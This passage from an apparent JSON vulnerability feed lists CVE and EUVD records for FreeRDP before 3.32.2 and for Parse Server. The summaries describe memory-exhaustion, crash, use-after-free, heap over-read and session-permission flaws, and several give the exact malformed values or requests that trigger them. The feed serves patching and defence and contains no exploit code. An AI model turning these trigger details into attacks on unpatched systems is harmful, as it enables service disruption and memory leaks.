service.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-m7xq-5f7v-hjvw","https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-proxy-memory-exhaustion-via-dvc-reassembly"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:30","euvd":{"id":"EUVD-2026-115944","description":"FreeRDP from 3.0.0 before 3.32.2 contains an uncontrolled resource consumption vulnerability in the proxy that lets connected clients retain heap memory via intercepted DVC message reassembly. Attackers can declare a large DATA_FIRST length and keep sending fragments without completing the message, growing proxy memory proportional to traffic and degrading service.","published_time":"2026-11-03T14:28:11","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-m7xq-5f7v-hjvw","https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-proxy-memory-exhaustion-via-dvc-reassembly"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121413","summary":"Parse Server before 8.6.112 and 9.0.0 before 9.10.6-alpha.4 contains an authorization bypass in the session upgrade endpoint, which creates a new session for any valid session token without enforcing the _Session class create class-level permission. Attackers holding a user's session token can send an already revocable token to /upgradeToRevocableSession to obtain additional sessions with fresh expiration that persist after the original session is logged out.","cvss":2.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.1,"cvss_v4":2.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/parse-community/parse-server/pull/10808","https://github.com/parse-community/parse-server/pull/10809","https://github.com/parse-community/parse-server/security/advisories/GHSA-2j2x-c587-q33g","https://www.vulncheck.com/advisories/parse-server-before-8.6.112-and-9.0.0-before-9.10.6-alpha.4-session-permission-bypass-via-upgradetorevocablesession"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:30","euvd":{"id":"EUVD-2026-115945","description":"Parse Server before 8.6.112 and 9.0.0 before 9.10.6-alpha.4 contains an authorization bypass in the session upgrade endpoint, which creates a new session for any valid session token without enforcing the _Session class create class-level permission. Attackers holding a user's session token can send an already revocable token to /upgradeToRevocableSession to obtain additional sessions with fresh expiration that persist after the original session is logged out.","published_time":"2026-11-03T14:28:12","cvss":2.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/parse-community/parse-server/security/advisories/GHSA-2j2x-c587-q33g","https://github.com/parse-community/parse-server/pull/10808","https://github.com/parse-community/parse-server/pull/10809","https://www.vulncheck.com/advisories/parse-server-before-8.6.112-and-9.0.0-before-9.10.6-alpha.4-session-permission-bypass-via-upgradetorevocablesession"],"products":["parse-server","parse-server"],"vendors":["parse-community"]},"ghsa":null},{"cve_id":"CVE-2026-121414","summary":"Parse Server before 8.6.110 and 9.0.0 before 9.10.6-alpha.2 fails to contain a serialization error when an object update uses a dot notation key targeting a pointer field's object identifier on a class with an afterSave trigger. Attackers, including unauthenticated clients when objects are writable without a session, can send such an update to crash the Node process.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":8.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/parse-community/parse-server/pull/10802","https://github.com/parse-community/parse-server/pull/10803","https://github.com/parse-community/parse-server/security/advisories/GHSA-wc3c-6843-q7mv","https://www.vulncheck.com/advisories/parse-server-before-8.6.110-and-9.0.0-before-9.10.6-alpha.2-denial-of-service-via-aftersave-pointer-update"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:30","euvd":{"id":"EUVD-2026-115946","description":"Parse Server before 8.6.110 and 9.0.0 before 9.10.6-alpha.2 fails to contain a serialization error when an object update uses a dot notation key targeting a pointer field's object identifier on a class with an afterSave trigger. Attackers, including unauthenticated clients when objects are writable without a session, can send such an update to crash the Node process.","published_time":"2026-11-03T14:28:13","cvss":8.2,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/parse-community/parse-server/security/advisories/GHSA-wc3c-6843-q7mv","https://github.com/parse-community/parse-server/pull/10802","https://github.com/parse-community/parse-server/pull/10803","https://www.vulncheck.com/advisories/parse-server-before-8.6.110-and-9.0.0-before-9.10.6-alpha.2-denial-of-service-via-aftersave-pointer-update"],"products":["parse-server","parse-server"],"vendors":["parse-community"]},"ghsa":null},{"cve_id":"CVE-2026-121405","summary":"FreeRDP before 3.32.2 fails to cap the OutputBufferLength in serial device-control IRP requests, allowing malicious servers to trigger excessive memory allocation. Attackers running a server with serial redirection can send an IRP_MJ_DEVICE_CONTROL request with IOCTL_USBPRINT_GET_1284_ID and a near-maximum length to exhaust client memory.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-r387-jjq3-87hv","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-memory-exhaustion-via-serial-rdpdr-device-control","https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-r387-jjq3-87hv"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:29","euvd":{"id":"EUVD-2026-115937","description":"FreeRDP before 3.32.2 fails to cap the OutputBufferLength in serial device-control IRP requests, allowing malicious servers to trigger excessive memory allocation. Attackers running a server with serial redirection can send an IRP_MJ_DEVICE_CONTROL request with IOCTL_USBPRINT_GET_1284_ID and a near-maximum length to exhaust client memory.","published_time":"2026-11-03T14:28:06","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-r387-jjq3-87hv","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-memory-exhaustion-via-serial-rdpdr-device-control"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121406","summary":"FreeRDP before 3.32.2 allows a client assertion abort because rdpgfx_on_data_received rejects only negative zgfx_decompress status and passes the resulting null output pointer to Stream_StaticConstInit. A malicious RDP server can send a zero-output ZGFX payload on the RDPGFX channel after session activation to terminate the client.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-2c9x-4gr7-hrwx","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-client-denial-of-service-via-zero-output-zgfx-payload"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:29","euvd":{"id":"EUVD-2026-115938","description":"FreeRDP before 3.32.2 allows a client assertion abort because rdpgfx_on_data_received rejects only negative zgfx_decompress status and passes the resulting null output pointer to Stream_StaticConstInit. A malicious RDP server can send a zero-output ZGFX payload on the RDPGFX channel after session activation to terminate the client.","published_time":"2026-11-03T14:28:07","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-2c9x-4gr7-hrwx","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-client-denial-of-service-via-zero-output-zgfx-payload"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121407","summary":"FreeRDP before 3.32.2 contains a denial of service vulnerability in the shadow server's remdesk_server_thread that allows authenticated clients to crash the process via an inverted PDU length check. Attackers can send an 8192-byte remdesk payload declaring an eight-byte PDU length to trigger a fatal Stream_Seek assertion, aborting the server and dropping sessions.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-x8vp-ff7m-294g","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-shadow-server-denial-of-service-via-remdesk-channel"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:29","euvd":{"id":"EUVD-2026-115939","description":"FreeRDP before 3.32.2 contains a denial of service vulnerability in the shadow server's remdesk_server_thread that allows authenticated clients to crash the process via an inverted PDU length check. Attackers can send an 8192-byte remdesk payload declaring an eight-byte PDU length to trigger a fatal Stream_Seek assertion, aborting the server and dropping sessions.","published_time":"2026-11-03T14:28:08","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-x8vp-ff7m-294g","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-shadow-server-denial-of-service-via-remdesk-channel"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121408","summary":"FreeRDP before 3.32.2 contains a use-after-free in the urbdrc USB redirection channel because FindChannelById returns a channel pointer without a reference and the control-channel close path does not take the device manager's loading_lock. A malicious RDP server can send a control-channel CLOSE_REQUEST while the client announces a USB device, freeing the channel before the announcement thread reads channel->Write and crashing the client.","cvss":6.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-w897-ffhv-5j7g","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-use-after-free-via-usb-redirection-control-channel"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:29","euvd":{"id":"EUVD-2026-115940","description":"FreeRDP before 3.32.2 contains a use-after-free in the urbdrc USB redirection channel because FindChannelById returns a channel pointer without a reference and the control-channel close path does not take the device manager's loading_lock. A malicious RDP server can send a control-channel CLOSE_REQUEST while the client announces a USB device, freeing the channel before the announcement thread reads channel->Write and crashing the client.","published_time":"2026-11-03T14:28:08","cvss":6.0,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-w897-ffhv-5j7g","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-use-after-free-via-usb-redirection-control-channel"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121409","summary":"FreeRDP before 3.32.2 contains a denial of service vulnerability that allows malicious servers or unauthenticated peers to abort clients or proxies via oversized X.224 routing tokens. Attackers can send an oversized LoadBalanceInfo in a Server Redirection PDU, or a 240–247 byte token to a FixedTarget freerdp-proxy, triggering a tpdu_write_header assertion that crashes the process.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":8.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3hf9-w6hr-hf9j","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-oversized-x-224-routing-token"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:29","euvd":{"id":"EUVD-2026-115941","description":"FreeRDP before 3.32.2 contains a denial of service vulnerability that allows malicious servers or unauthenticated peers to abort clients or proxies via oversized X.224 routing tokens. Attackers can send an oversized LoadBalanceInfo in a Server Redirection PDU, or a 240–247 byte token to a FixedTarget freerdp-proxy, triggering a tpdu_write_header assertion that crashes the process.","published_time":"2026-11-03T14:28:09","cvss":8.2,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3hf9-w6hr-hf9j","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-oversized-x-224-routing-token"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121410","summary":"FreeRDP before 3.32.2 contains a denial of service vulnerability in the RDPGFX ALPHA WIRETOSURFACE_2 handler that fails to validate zero surface dimensions. A malicious RDP server can send a crafted WIRETOSURFACE_2 PDU with zero width and height, triggering an assertion or division by zero that terminates the client session.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-fqw6-jf2h-6fj6","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-rdpgfx-alpha-wiretosurface-2"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:29","euvd":{"id":"EUVD-2026-115942","description":"FreeRDP before 3.32.2 contains a denial of service vulnerability in the RDPGFX ALPHA WIRETOSURFACE_2 handler that fails to validate zero surface dimensions. A malicious RDP server can send a crafted WIRETOSURFACE_2 PDU with zero width and height, triggering an assertion or division by zero that terminates the client session.","published_time":"2026-11-03T14:28:10","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-fqw6-jf2h-6fj6","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-rdpgfx-alpha-wiretosurface-2"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121399","summary":"FreeRDP before 3.32.2 contains a memory allocation vulnerability in rdg_receive_packet that allows a malicious RD Gateway to force a 2 GiB client allocation before tunnel authentication. Attackers can send an eight-byte RDG header declaring packet length 0x7FFFFFFF to trigger pre-authentication memory exhaustion and denial of service.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4vh4-3pc3-32p7","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-memory-exhaustion-via-rd-gateway-packet-length"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:28","euvd":{"id":"EUVD-2026-115931","description":"FreeRDP before 3.32.2 contains a memory allocation vulnerability in rdg_receive_packet that allows a malicious RD Gateway to force a 2 GiB client allocation before tunnel authentication. Attackers can send an eight-byte RDG header declaring packet length 0x7FFFFFFF to trigger pre-authentication memory exhaustion and denial of service.","published_time":"2026-11-03T14:28:02","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4vh4-3pc3-32p7","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-memory-exhaustion-via-rd-gateway-packet-length"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121400","summary":"FreeRDP before 3.32.2 contains a denial-of-service vulnerability in rdg_process_control_packet that allows a malicious RD Gateway to exhaust client CPU by sending an incomplete keepalive control packet. Attackers completing the RDG tunnel-open exchange then send an eight-byte header with packetLength 0xFFFF and withhold the body, causing an unbounded no-progress read loop that spins one client thread at full CPU.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-x4x6-2hrm-hvq9","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-cpu-exhaustion-via-rdg-control-packet"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:28","euvd":{"id":"EUVD-2026-115932","description":"FreeRDP before 3.32.2 contains a denial-of-service vulnerability in rdg_process_control_packet that allows a malicious RD Gateway to exhaust client CPU by sending an incomplete keepalive control packet. Attackers completing the RDG tunnel-open exchange then send an eight-byte header with packetLength 0xFFFF and withhold the body, causing an unbounded no-progress read loop that spins one client thread at full CPU.","published_time":"2026-11-03T14:28:03","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-x4x6-2hrm-hvq9","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-cpu-exhaustion-via-rdg-control-packet"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121401","summary":"FreeRDP before 3.32.2 contains a denial of service vulnerability where rdg_process_packet dispatches a PKT_TYPE_EXTENDED_AUTH_MSG without verifying negotiated mode or auth context. A malicious or compromised RD Gateway can send the extended-auth packet before tunnel authentication, triggering a null-pointer dereference that crashes the client.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8rjm-m7xg-mg6m","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-rd-gateway-extended-auth-packet","https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8rjm-m7xg-mg6m"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:28","euvd":{"id":"EUVD-2026-115933","description":"FreeRDP before 3.32.2 contains a denial of service vulnerability where rdg_process_packet dispatches a PKT_TYPE_EXTENDED_AUTH_MSG without verifying negotiated mode or auth context. A malicious or compromised RD Gateway can send the extended-auth packet before tunnel authentication, triggering a null-pointer dereference that crashes the client.","published_time":"2026-11-03T14:28:03","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8rjm-m7xg-mg6m","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-rd-gateway-extended-auth-packet"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121402","summary":"FreeRDP before 3.32.2 contains a NULL pointer dereference vulnerability that allows malicious RDP servers to crash xfreerdp clients by sending a zero-width RDPGFX ResetGraphics PDU. The failed resize in gdi_resize_ex leaves the primary display null without ending the session, so a later bitmap update crashes the client in gdi_Bitmap_Paint.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-c426-ppvf-jpfg","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-x11-client-crash-via-zero-width-rdpgfx-resetgraphics"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:28","euvd":{"id":"EUVD-2026-115934","description":"FreeRDP before 3.32.2 contains a NULL pointer dereference vulnerability that allows malicious RDP servers to crash xfreerdp clients by sending a zero-width RDPGFX ResetGraphics PDU. The failed resize in gdi_resize_ex leaves the primary display null without ending the session, so a later bitmap update crashes the client in gdi_Bitmap_Paint.","published_time":"2026-11-03T14:28:04","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-c426-ppvf-jpfg","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-x11-client-crash-via-zero-width-rdpgfx-resetgraphics"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121403","summary":"FreeRDP before 3.32.2 contains a denial of service vulnerability where a malformed drive DEVICE_IOREQUEST with a truncated IRP_MJ_CREATE body silently kills the drive worker. A malicious RDP server can send such an IRP then post further requests that accumulate unbounded in the IrpQueue, exhausting memory and causing session availability loss.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-5qqp-5ffm-m3p9","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-malformed-drive-irp"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:28","euvd":{"id":"EUVD-2026-115935","description":"FreeRDP before 3.32.2 contains a denial of service vulnerability where a malformed drive DEVICE_IOREQUEST with a truncated IRP_MJ_CREATE body silently kills the drive worker. A malicious RDP server can send such an IRP then post further requests that accumulate unbounded in the IrpQueue, exhausting memory and causing session availability loss.","published_time":"2026-11-03T14:28:05","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-5qqp-5ffm-m3p9","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-malformed-drive-irp"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121404","summary":"FreeRDP before 3.32.2 contains a denial of service vulnerability in the shadow server that allows authenticated RDP clients to spin server threads by sending zero-length drdynvc DATA PDUs. Attackers can send empty DATA messages on opened audin or rdpgfx channels, so that FreeRDP_WTSVirtualChannelRead never consumes them, consuming full CPU cores until disconnect.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-fqcj-rwww-2498","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-shadow-server-cpu-exhaustion-via-zero-length-dvc-data"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:28","euvd":{"id":"EUVD-2026-115936","description":"FreeRDP before 3.32.2 contains a denial of service vulnerability in the shadow server that allows authenticated RDP clients to spin server threads by sending zero-length drdynvc DATA PDUs. Attackers can send empty DATA messages on opened audin or rdpgfx channels, so that FreeRDP_WTSVirtualChannelRead never consumes them, consuming full CPU cores until disconnect.","published_time":"2026-11-03T14:28:06","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-fqcj-rwww-2498","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-shadow-server-cpu-exhaustion-via-zero-length-dvc-data"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121394","summary":"FreeRDP from 3.11.0 before 3.32.2 contains an assertion failure in the RemoteFX RLGR decoder that allows malicious servers to terminate clients. Attackers controlling an RDP server can send a RemoteFX tileset with RLGR code 32767, triggering a signed narrowing assertion in rfx_rlgr_decode and crashing the client.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-5j39-x36c-x9pm","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-remotefx-rlgr-decoder"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:27","euvd":{"id":"EUVD-2026-115926","description":"FreeRDP from 3.11.0 before 3.32.2 contains an assertion failure in the RemoteFX RLGR decoder that allows malicious servers to terminate clients. Attackers controlling an RDP server can send a RemoteFX tileset with RLGR code 32767, triggering a signed narrowing assertion in rfx_rlgr_decode and crashing the client.","published_time":"2026-11-03T14:27:59","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-5j39-x36c-x9pm","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-denial-of-service-via-remotefx-rlgr-decoder"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121395","summary":"FreeRDP from 3.17.0 before 3.32.2 contains an assertion failure in the RemoteFX differential decoder when verbose WinPR assertions are enabled. A malicious RDP server can send a crafted RemoteFX tile with adjacent LL3 coefficients summing beyond signed 16-bit range to abort the client process.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-cg4f-57hc-v7w7","https://www.vulncheck.com/advisories/freerdp-3.17.0-before-3.32.2-denial-of-service-via-remotefx-decoder"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:27","euvd":{"id":"EUVD-2026-115927","description":"FreeRDP from 3.17.0 before 3.32.2 contains an assertion failure in the RemoteFX differential decoder when verbose WinPR assertions are enabled. A malicious RDP server can send a crafted RemoteFX tile with adjacent LL3 coefficients summing beyond signed 16-bit range to abort the client process.","published_time":"2026-11-03T14:27:59","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-cg4f-57hc-v7w7","https://www.vulncheck.com/advisories/freerdp-3.17.0-before-3.32.2-denial-of-service-via-remotefx-decoder"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121396","summary":"FreeRDP clients from 3.0.0 before 3.32.2 built with verbose WinPR assertions contain a reachable assertion in rts_read_auth_verifier triggered by malformed RTS padding. Attackers controlling an RD Gateway can send a crafted RPC-over-HTTP RTS PDU with inconsistent authentication padding to abort the connecting client process.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-6p3w-fv52-cf24","https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-denial-of-service-via-rts-padding-assertion"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:27","euvd":{"id":"EUVD-2026-115928","description":"FreeRDP clients from 3.0.0 before 3.32.2 built with verbose WinPR assertions contain a reachable assertion in rts_read_auth_verifier triggered by malformed RTS padding. Attackers controlling an RD Gateway can send a crafted RPC-over-HTTP RTS PDU with inconsistent authentication padding to abort the connecting client process.","published_time":"2026-11-03T14:28:00","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-6p3w-fv52-cf24","https://www.vulncheck.com/advisories/freerdp-3.0.0-before-3.32.2-denial-of-service-via-rts-padding-assertion"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121397","summary":"FreeRDP before 3.32.2 contains a heap buffer over-read vulnerability in save_png_to_buffer() that allows malicious RDP servers to leak client memory by sending 16 bpp DIB clipboard data. Attackers can offer a CF_DIB BI_BITFIELDS image that, when converted to PNG for a local application, embeds client heap bytes into the clipboard image.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-x7w3-32ch-x2jq","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-heap-over-read-via-winpr-save-png-to-buffer","https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-x7w3-32ch-x2jq"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:27","euvd":{"id":"EUVD-2026-115929","description":"FreeRDP before 3.32.2 contains a heap buffer over-read vulnerability in save_png_to_buffer() that allows malicious RDP servers to leak client memory by sending 16 bpp DIB clipboard data. Attackers can offer a CF_DIB BI_BITFIELDS image that, when converted to PNG for a local application, embeds client heap bytes into the clipboard image.","published_time":"2026-11-03T14:28:01","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-x7w3-32ch-x2jq","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-heap-over-read-via-winpr-save-png-to-buffer"],"products":["FreeRDP"],"vendors":["FreeRDP"]},"ghsa":null},{"cve_id":"CVE-2026-121398","summary":"FreeRDP before 3.32.2 contains a cross-thread use-after-free vulnerability in the freerdp-proxy dyn-channel-dump module during session teardown. A malicious RDP target can send dynamic channel data while the front client disconnects, letting the client thread read freed ChannelData and crash the proxy process.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":8.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-v3q2-qjvf-7rqw","https://www.vulncheck.com/advisories/freerdp-before-3.32.2-use-after-free-via-dyn-channel-dump-module"],"vendor":"freerdp","product":"freerdp","version":null,"published_time":"2026-11-03T15:17:27","euvd":{"id":"EUVD-2026-115930","description":"FreeRDP before 3.32.2 contains a cross-thread use-after-free vulnerability in the freerdp-proxy dyn-channel-dump module during session teardown. A malicious RDP target can send dynamic channel data while the front client disconnects, letting the client thread read freed ChannelData and crash the proxy 